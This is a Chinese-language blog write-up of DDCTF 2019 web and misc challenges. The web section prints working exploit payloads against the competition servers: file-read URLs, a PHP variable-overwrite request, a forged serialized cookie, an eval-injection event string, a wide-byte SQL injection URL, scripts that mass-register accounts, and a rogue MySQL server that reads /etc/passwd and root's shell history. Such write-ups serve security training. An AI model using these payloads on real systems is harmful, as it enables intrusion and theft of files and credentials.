zoukankan      html  css  js  c++  java
  • DDCTF 2019 部分WP

    WEB

    滴~

    http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

    观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞

    读取index.php

    http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

    将源码中的base解码得到源码

    备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件

    结合index.php的逻辑

    将f1agconfigddctf.php转为hex字符串,base64编码两次,然后

    http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

    得到f1ag!ddctf.php的源码,典型变量覆盖

    <?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
    $content=trim(file_get_contents($k));
    if($uid==$content)
        {
            echo $flag;
        }
        else
        {
            echo'hello';
        }
    }
    
    ?>

    http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

    WEB 签到题

    抓包发现有个认证的接口,有个username未填值

    尝试admin成功并给出了一个地址

    访问发现是源代码

    nickname处可注入%s带出eancrykey

    得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞

    Application类可造成任意文件读取

    这里可以双写绕过

    这里判断了长度,猜测flag文件路径为../config/flag.txt

    最后payload

    <?php
    Class Application {
    var $path = '....//config/flag.txt';
    }
    $o=new Application();
    $session=serialize($o);
    echo urlencode($session.md5("EzblrbNS".$session));

    Upload-IMG

    上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD

    搜索找到相关方法和脚本

    https://wiki.ioin.in/soft/detail/1q

    初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过

    homebrew event loop

    # -*- encoding: utf-8 -*- 
    # written in python 2.7 
    __author__ = 'garzon' 
    
    from flask import Flask, session, request, Response 
    import urllib 
    
    app = Flask(__name__) 
    app.secret_key = '*********************' # censored 
    url_prefix = '/d5af31f66177e857' 
    
    def FLAG(): 
        return 'FLAG_is_here_but_i_wont_show_you'  # censored 
         
    def trigger_event(event): 
        session['log'].append(event) 
        if len(session['log']) > 5: session['log'] = session['log'][-5:] 
        if type(event) == type([]): 
            request.event_queue += event 
        else: 
            request.event_queue.append(event) 
    
    def get_mid_str(haystack, prefix, postfix=None): 
        haystack = haystack[haystack.find(prefix)+len(prefix):] 
        if postfix is not None: 
            haystack = haystack[:haystack.find(postfix)] 
        return haystack 
         
    class RollBackException: pass 
    
    def execute_event_loop(): 
        valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
        resp = None 
        while len(request.event_queue) > 0: 
            event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
            request.event_queue = request.event_queue[1:] 
            if not event.startswith(('action:', 'func:')): continue 
            for c in event: 
                if c not in valid_event_chars: break 
            else: 
                is_action = event[0] == 'a' 
                action = get_mid_str(event, ':', ';') 
                args = get_mid_str(event, action+';').split('#') 
                try: 
                    event_handler = eval(action + ('_handler' if is_action else '_function')) 
                    ret_val = event_handler(args) 
                except RollBackException: 
                    if resp is None: resp = '' 
                    resp += 'ERROR! All transactions have been cancelled. <br />' 
                    resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                    session['num_items'] = request.prev_session['num_items'] 
                    session['points'] = request.prev_session['points'] 
                    break 
                except Exception, e: 
                    if resp is None: resp = '' 
                    #resp += str(e) # only for debugging 
                    continue 
                if ret_val is not None: 
                    if resp is None: resp = ret_val 
                    else: resp += ret_val 
        if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
        session.modified = True 
        return resp 
         
    @app.route(url_prefix+'/') 
    def entry_point(): 
        querystring = urllib.unquote(request.query_string) 
        request.event_queue = [] 
        if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
            querystring = 'action:index;False#False' 
        if 'num_items' not in session: 
            session['num_items'] = 0 
            session['points'] = 3 
            session['log'] = [] 
        request.prev_session = dict(session) 
        trigger_event(querystring) 
        return execute_event_loop() 
    
    # handlers/functions below -------------------------------------- 
    
    def view_handler(args): 
        page = args[0] 
        html = '' 
        html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
        if page == 'index': 
            html += '<a href="./?action:index;True%23False">View source code</a><br />' 
            html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
            html += '<a href="./?action:view;reset">Reset</a><br />' 
        elif page == 'shop': 
            html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
        elif page == 'reset': 
            del session['num_items'] 
            html += 'Session reset.<br />' 
        html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
        return html 
    
    def index_handler(args): 
        bool_show_source = str(args[0]) 
        bool_download_source = str(args[1]) 
        if bool_show_source == 'True': 
         
            source = open('eventLoop.py', 'r') 
            html = '' 
            if bool_download_source != 'True': 
                html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
                html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                 
            for line in source: 
                if bool_download_source != 'True': 
                    html += line.replace('&','&amp;').replace('	', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('
    ', '<br />') 
                else: 
                    html += line 
            source.close() 
             
            if bool_download_source == 'True': 
                headers = {} 
                headers['Content-Type'] = 'text/plain' 
                headers['Content-Disposition'] = 'attachment; filename=serve.py' 
                return Response(html, headers=headers) 
            else: 
                return html 
        else: 
            trigger_event('action:view;index') 
             
    def buy_handler(args): 
        num_items = int(args[0]) 
        if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
        session['num_items'] += num_items  
        trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
         
    def consume_point_function(args): 
        point_to_consume = int(args[0]) 
        if session['points'] < point_to_consume: raise RollBackException() 
        session['points'] -= point_to_consume 
         
    def show_flag_function(args): 
        flag = args[0] 
        #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
        return 'You naughty boy! ;) <br />' 
         
    def get_flag_handler(args): 
        if session['num_items'] >= 5: 
            trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
        trigger_event('action:view;index') 
         
    if __name__ == '__main__': 
        app.run(debug=False, host='0.0.0.0') 

    首先发现此处action可控,可注入代码,其后多余部分可用#注释

    利用该点可调用脚本内任意带参函数,比如调用show_flag_function

    然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行

    最后思路就是,想办法让自己num_items大于5后调用get_flag_handler

    注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行

    最后利用到trigger_event函数注入event构造出自己想要调用的顺序

    最终paylaod

    http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

    或者这样,只要不超过日志容量且num_items大于等于5就行

    http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

    用p神脚本解密本地session

    欢迎报名DDCTF

    一开始报名处存在XSS

    用xss平台读取到源码后发现一个接口

    测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)

    http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

    大吉大利,今晚吃鸡

    一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

    然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交

    注册小号得到id和ticket

    import requests
    import re
    import time
    
    requests=requests.session()
    
    def register(username):
        url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
        res=requests.get(url)
        return res.text
    
    def buy():
        url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
        res=requests.get(url)
        bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1)
    
        url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
        res=requests.get(url)
        return res.text
    
    def xx(username):
        register(username)
        return buy()
    
    f=open('acc10.txt','w')
    for i in range(0,600):
        res=xx("l3yx_101_00"+str(i))
        time.sleep(3)
        print res
        f.writelines(res)
        f.flush()

    主号提交

    import requests
    import re
    import time
    
    requests=requests.session()
    
    def login(name,password):
        url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
        res=requests.get(url)
        return res.text
    
    def submit(id,ticket):
        url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
        res=requests.get(url)
        return res.text
    
    login('lei','123456789')
    f=open('acc8.txt','r')
    for i in f.readlines():
        id_=re.search('[{"your_id":(.*),"your_ticket":"(.*)"}]',i).group(1)
        ticket_=re.search('[{"your_id":(.*),"your_ticket":"(.*)"}]',i).group(2)
        time.sleep(2)
        print submit(id_,ticket_)

    mysql弱口令

    网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作

    https://lightless.me/archives/read-mysql-client-file.html

    1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)

    2.服务器启动agent.py

    3.在网页填写ip和端口进行扫描

    此时伪造服务端的脚本已成功读取/etc/passwd

    继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py

    从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库

    尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???

    最后读取/root/.mysql_history发现flag

     

    MISC

    北京地铁

    根据Color Threshold提示测试LSB隐写,找到一串密文

    观察图片,发现有两个位置颜色不同

    尝试用魏公村地名为密钥解密成功

    MulTzor

    github找到分析xor的工具

    https://github.com/hellman/xortool

    猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key

    但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了

    观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位

    异或得到key第一位

    所以最后key是x323xffSYx8b

    WireShark

    在HTTP包中找到3张图片,分别导出字节流

    前两张相似但文件大小不同,第二张体积比较大

    最后一个HTTP包还发现一个图片加密隐藏信息的网站

    需要密码和加密后的图片

    猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码

    最后发现钥匙图片是高度隐写,修改高度后

    解密

    16进制到文本字符串

    联盟决策大会

    参考以下文章

    https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

    https://blog.mythsman.com/2015/10/07/2/

    根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p

    最终脚本

    from __future__ import division
    from __future__ import print_function
    import random
    import functools
    
    _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
    _RINT = functools.partial(random.SystemRandom().randint, 0)
    
    def _eval_at(poly, x, prime):
        accum = 0
        for coeff in reversed(poly):
            accum *= x
            accum += coeff
            accum %= prime
        return accum
    
    def make_random_shares(minimum, shares, prime=_PRIME):
        if minimum > shares:
            raise ValueError("pool secret would be irrecoverable")
        poly = [_RINT(prime) for i in range(minimum)]
        points = [(i, _eval_at(poly, i, prime))
                  for i in range(1, shares + 1)]
        return poly[0], points
    
    def _extended_gcd(a, b):
        x = 0
        last_x = 1
        y = 1
        last_y = 0
        while b != 0:
            quot = a // b
            a, b = b, a%b
            x, last_x = last_x - quot * x, x
            y, last_y = last_y - quot * y, y
        return last_x, last_y
    
    def _divmod(num, den, p):
        inv, _ = _extended_gcd(den, p)
        return num * inv
    
    def _lagrange_interpolate(x, x_s, y_s, p):
        k = len(x_s)
        assert k == len(set(x_s)), "points must be distinct"
        def PI(vals):  # upper-case PI -- product of inputs
            accum = 1
            for v in vals:
                accum *= v
            return accum
        nums = []  # avoid inexact division
        dens = []
        for i in range(k):
            others = list(x_s)
            cur = others.pop(i)
            nums.append(PI(x - o for o in others))
            dens.append(PI(cur - o for o in others))
        den = PI(dens)
        num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
                   for i in range(k)])
        return (_divmod(num, den, p) + p) % p
    
    def recover_secret(shares, prime=_PRIME):
        if len(shares) < 2:
            raise ValueError("need at least two shares")
        x_s, y_s = zip(*shares)
        return _lagrange_interpolate(0, x_s, y_s, prime)
    
    
    p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
    z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
    z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
    z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7
    
    z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
    z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
    z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5
    
    
    
    z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
    z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
    z=recover_secret( [ (1,z1) , (2,z2) ] )
    print( recover_secret( [ (1,p) , (0,z) ] ) )

  • 相关阅读:
    大数据之MapReduce工作机制
    swoft +nginx 快速获取客户端的真实的IP
    JWT 介绍 详解
    swoft 切面编程 (AOP编程思想)
    CSP 编程模型
    Ubuntu 16.04 Mysql 重置密码
    ubuntu 提示:rm: cannot remove 'you-get/tmp': Directory not empty
    Ubuntu 系统升级到php7.2/7.3 (平滑升级)-朝花夕拾
    git clone 非标准的ssh端口(非22)端口
    Ubuntu 升级npm 以及安装cross-env 过程中遇到的问题
  • 原文地址:https://www.cnblogs.com/leixiao-/p/10735047.html
Copyright © 2011-2022 走看看